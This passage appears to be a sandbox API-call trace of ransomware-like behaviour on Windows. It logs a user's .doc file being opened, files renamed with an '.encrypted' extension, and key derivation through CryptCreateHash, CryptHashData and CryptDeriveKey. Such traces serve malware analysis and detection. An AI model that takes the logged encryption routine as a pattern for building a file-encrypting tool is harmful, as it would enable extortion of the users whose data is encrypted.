cchWideChar=81, lpMultiByteStr=0xe8f4069f50, cbMultiByte=81, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\v2zRxHEjBQRq x60dFm7.encrypted.odp\r\n", lpUsedDefaultChar=0x0) returned 81 [0025.373] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40624f0*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40624f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x50, lpOverlapped=0x0) returned 1 [0025.373] CloseHandle (hObject=0x1fc) returned 1 [0025.374] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.374] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.374] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.374] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.374] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.374] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.374] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.375] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.376] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178940, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0025.376] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0025.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41783a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0025.376] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0025.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\VPX0Zm61g2E4gE.doc", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0025.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\VPX0Zm61g2E4gE.doc", cchWideChar=63, lpMultiByteStr=0xe8f40514a0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\VPX0Zm61g2E4gE.doc", lpUsedDefaultChar=0x0) returned 63 [0025.376] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\VPX0Zm61g2E4gE.doc" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\vpx0zm61g2e4ge.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=63, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0025.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f6000080, cbMultiByte=63, lpWideCharStr=0xe8f4067bb0, cchWideChar=63 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\VPX0Zm61g2E4gE.doc") returned 63 [0025.377] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.377] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.377] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.378] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.378] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0025.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0025.378] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0025.378] CloseHandle (hObject=0x1fc) returned 1 [0025.378] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0025.378] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.378] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.378] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.379] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.379] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.379] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.379] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.379] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.379] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.379] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.379] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.380] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.380] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.380] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.380] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.380] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.381] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.381] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.381] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.381] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.381] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.381] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.381] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.382] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.382] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.382] CryptCreateHash (in: hProv=0xe8f4063410, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.382] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.382] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.382] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.382] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418bab0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.382] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.382] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.382] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.382] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.382] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062720) returned 1 [0025.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.383] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.384] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.384] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.384] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417ada0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0025.384] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0025.384] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0025.385] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.386] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.386] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.386] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.386] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.386] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\VPX0Zm61g2E4gE.doc" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\vpx0zm61g2e4ge.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.386] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.386] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) 